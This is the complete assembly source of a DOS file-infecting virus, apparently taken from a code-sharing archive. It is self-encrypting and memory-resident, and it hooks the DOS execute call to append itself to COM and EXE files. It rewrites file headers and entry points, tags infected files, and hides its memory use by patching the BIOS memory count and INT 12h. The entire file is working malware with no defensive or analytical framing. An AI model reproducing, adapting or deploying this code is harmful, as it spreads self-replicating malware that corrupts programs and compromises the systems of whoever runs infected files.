www.pudn.com > virtus.rar > virtus.asm

baseoff equ 107h 
 
code	segment 
	assume cs:code,ds:code,es:code,ss:code 
	org 100h 
main:	 
	mov ax,offset begin 
	jmp ax 
	 
	db 'cr' 
		 
begin:	 
	push es 
	push ds 
	 
	mov ax,cs 
	mov ds,ax 
	mov es,ax 
	 
	call get_ip	 
	push ax 
	mov ax,offset encodebegin 
	jmp short get_ip_end 
	 
oldhead	db 0h,4ch,0cdh,21h,6 dup (?) 
 
get_ip	label near 
	mov bp,sp 
	mov bx,[bp] 
	ret 
get_ip_end: 
	sub bx,112h		;get current offset 
	add ax,bx 
	push ax 
	pop di 
	mov si,di 
	cld 
	mov cx, offset endtag-offset encodebegin 
	mov dl, byte ptr [oldhead+bx] 
	push si 
decode:	 
	lodsb 
	xor al,dl 
	stosb			;decode at runtime 
	loop decode 
	retf			;retf  cs:ip=encodebegin 
	db 62h 
	db 65h 
 
encodebegin: 
	mov ax,9f80h 
	mov es,ax 
	cmp es:word ptr [virustag-baseoff],7263h 
	jz alreadyresident		 
	 
	push ds	 
	mov ax,40h 
	mov ds,ax 
	mov di,13h	;get free memory 
	sub word ptr [di],2 
	pop ds 
 
	mov di,0 
	mov si,bx 
	add si,baseoff 
	mov cx,2048 
	cld 
 
	rep movsb	;resident in memory 
	 
	nop 
	push bx 
	 
	mov ax,9f80h 
	mov ds,ax 
	mov ax,3521h 
	int 21h 
	mov ds:word ptr[oldint21-baseoff],bx 
	mov dx,bx 
	mov ds:word ptr[oldint21-baseoff+2h],es 
	 
	mov dx,offset newint21proc-baseoff 
	mov ax,2521h 
	int 21h 
 
	mov dx,offset newint12proc-baseoff 
	mov ax,2512h 
	int 21h 
	pop bx 
	 
alreadyresident: 
	mov ax,cs 
	mov ds,ax 
	mov es,ax 
	mov si,offset oldhead 
	add si,bx 
	mov di,0100h 
	 
	cmp cs:word ptr oldhead[bx],6163h	;this is an infected EXE file  
	jz GotoExe 
	 
	cld 
	mov cx,7 
	rep movsb 
	 
	pop ds 
	pop es 
	 
	cmp cs:word ptr oldhead[bx],4c00h 
	jz go_out 
GotoOldHead:					;this is an infected COM file 
	mov ax,0100h 
	jmp ax 
GotoExe: 
	pop ds 
	pop es 
	mov ax,ds 
	add ax,cs:ini_ss[bx]			;set old ss 
	add ax,10h 
	mov ss,ax 
	mov ax,cs:ini_sp[bx]			;set old sp 
	mov sp,ax 
	mov ax,ds 
	add ax,10h 
	add cs:ini_cs[bx],ax			;set old cs 
	jmp cs:dword ptr ini_ip[bx]		;jump to the normal EXE  
go_out: 
	mov ah,4ch 
	int 21h 
	 
oldint21 dw 2 dup(?) 
filehead db 18h dup (?) 
filesize dw 2 dup(?) 
virustag db 'cr' 
infecthead:	 
	mov ax,offset begin 
	jmp ax 
	db 'cr' 
temp	dw ? 
 
ini_ip	dw ? 
ini_cs	dw ? 
ini_ss	dw ? 
ini_sp	dw ? 
 
newint21proc: 
	cmp ah,4bh 
	jz tryinfect 
	jmp int21h 
tryinfect: 
	push ax			;begin to infect 
	push cx 
	push es 
	push di 
	push bx 
	push dx 
	push ds 
 
	mov ax,3d02h 
	int 21h 
	jnc openok 
	jmp notinfect		;open fail? not infect 
openok:	 
	push ds 
	push dx 
	push cs 
	pop ds 
	mov dx,offset filehead-baseoff 
	mov bx,ax 
	mov cx,18h 
	mov ah,3fh 
	int 21h	 
	pop dx 
	pop ds 
	jc closefilenear		;read fail? not infect 
	 
	mov di,offset filehead-baseoff 
	mov ax,9f80h 
	mov es,ax 
	 
	cmp word ptr es:[di],5a4dh	;'MZ' in head? EXE file... 
	jnz COM_infect 
	jmp EXE_infect 
	 
COM_infect:	 
	cmp word ptr es:[di+5],7263h	;'cr' in 105h? not infect 
	jz closefilenear    
 
	call getfilesize 
	cmp dx,0 
	jnz closefilenear			; file is too big..not infect 
	cmp ax,63000 
	ja  closefilenear			; file is too big..not infect 
	cmp ax,10 
	jb  closefilenear			; file is too small..not infect 
	 
	;infect begin,hahahahaha.... 
	jmp infectbegin 
closefilenear: 
	jmp closefile 
infectbegin:	 
	mov ax,9f80h 
	mov ds,ax 
	mov es,ax 
	mov si,offset filehead-baseoff 
	mov di,offset oldhead-baseoff 
	mov cx,10 
	cld 
	rep movsb			;save the old file head 
	 
	call addvirustofile 
	call mov_ptr_to_head 
 
 
	mov di,offset infecthead-baseoff 
	mov dx,di 
	inc di 
	mov cx,word ptr [filesize-baseoff] 
	add cx,100h 
	mov word ptr [di],cx 
	mov cx,7 
	mov ah,40h 
	int 21h 
	 
	 
closefile: 
	mov ah,3eh 
	int 21h				; close the file 
	 
notinfect: 
	pop ds 
	pop dx 
	pop bx 
	pop di 
	pop es 
	pop cx 
	pop ax 
int21h:	jmp dword ptr cs:[oldint21-baseoff] 
	 
getfilesize proc near 
	mov ax,4202h 
	xor cx,cx 
	xor dx,dx 
	int 21h 
	jc  closefile 
	mov es:word ptr [filesize-baseoff],ax 
	mov es:word ptr [filesize-baseoff+2],dx		;save the file size 
	ret 
getfilesize endp 
 
addvirustofile proc near 
	xor dx,dx 
	mov ah,40h 
	mov cx,offset encodebegin-offset begin 
	int 21h 
	jc closefile			;write fail... not infect 
	cmp ax,cx 
	jb closefile			;write fail... not infect 
	 
	mov cx,(offset endtag-offset encodebegin)/2+(offset endtag-offset encodebegin)MOD 2 
	mov dl,byte ptr oldhead-baseoff 
	mov dh,dl 
	mov di,dx 
	mov si,offset encodebegin-baseoff 
	mov dx,offset temp-baseoff 
encode_myself: 
	push cx 
	lodsw 
	xor ax,di			;encode and then write into file 
	mov temp-baseoff,ax 
	mov ah,40h 
	mov cx,2 
	int 21h 
	jc closefile			;write fail... not infect 
	cmp ax,cx 
	jb closefile			;write fail... not infect 
	pop cx 
	loop encode_myself 
	ret 
addvirustofile endp	 
 
mov_ptr_to_head proc near 
	mov ax,4200h 
	xor cx,cx 
	xor dx,dx 
	int 21h 
	jc closefile	 
	ret 
mov_ptr_to_head endp 
 
 
EXE_infect proc near 
 
	mov ax,es:word ptr[di+2]		;exe size in the last sector 
	mov dx,es:word ptr[di+4]		;total sectors of exe size 
	push di 
	dec dx 
	mov cx,9 
	xor si,si 
get_size_in_head: 
	shl dx,1 
	shl si,1 
	adc si,0 
	loop get_size_in_head 
	add dx,ax 
	adc si,0 
	mov di,dx 
	 
	call getfilesize			;get the exe file size 
	cmp dx,si 
	jnz exe_end_near			;not equal(file size and loading size) 
	cmp dx,0fh				;not infect 
	ja  exe_end_near 
	cmp ax,di 
	pop di 
	jnz exe_end_near 
	 
	jmp begininfectexe 
exe_end_near: 
	jmp exe_end 
	 
	;begin to infect exe 
begininfectexe:	 
	mov ax,writesize+10 
	mov cl,9 
	 
	add ax,es:word ptr[di+2]		;add exe loading size 
	mov si,ax 
	and ax,1ffh 
	mov es:word ptr[di+2],ax 
	shr si,cl 
	add es:word ptr[di+4],si 
 
	push es 
	pop ds 
 
	mov word ptr[oldhead-baseoff],6163h	;write EXE's tag 
	mov ax,[di+14h] 
	mov [ini_ip-baseoff],ax 
	mov ax,[di+16h] 
	mov [ini_cs-baseoff],ax 
	mov ax,[di+10h] 
	mov [ini_sp-baseoff],ax 
	mov ax,[di+0eh] 
	mov [ini_ss-baseoff],ax			;save the old ss,sp,cs,ip 
		 
	push di 
	call addvirustofile 
	pop di 
	call mov_ptr_to_head 
 
	mov ax,filesize-baseoff 
	mov dx,[di+08h] 
	mov cl,4 
	shl dx,cl				;dx=exe header size 
	sub ax,dx 
	push ax 
	and ax,0fh 
	mov [di+14h],ax				;modify sp,ip 
	mov [di+10h],writesize+50 
	add word ptr [di+0ah],writesize/16+1	;add the memory needed 
	pop ax 
	mov dx,filesize+2-baseoff 
	mov cl,4 
modify_cs: 
	shr dx,1 
	rcr ax,1 
	loop modify_cs 
	mov [di+16h],ax				 
	mov [di+0eh],ax				;modify cs and ss 
	 
	mov dx,di 
	mov cx,18h 
	mov ah,40h 
	int 21h 
 
exe_end: 
	jmp closefile 
EXE_infect endp 
	 
newint12proc: 
	mov ax,640 
	iret 
writesize	equ $-begin 
endtag: 
code	ends 
	end main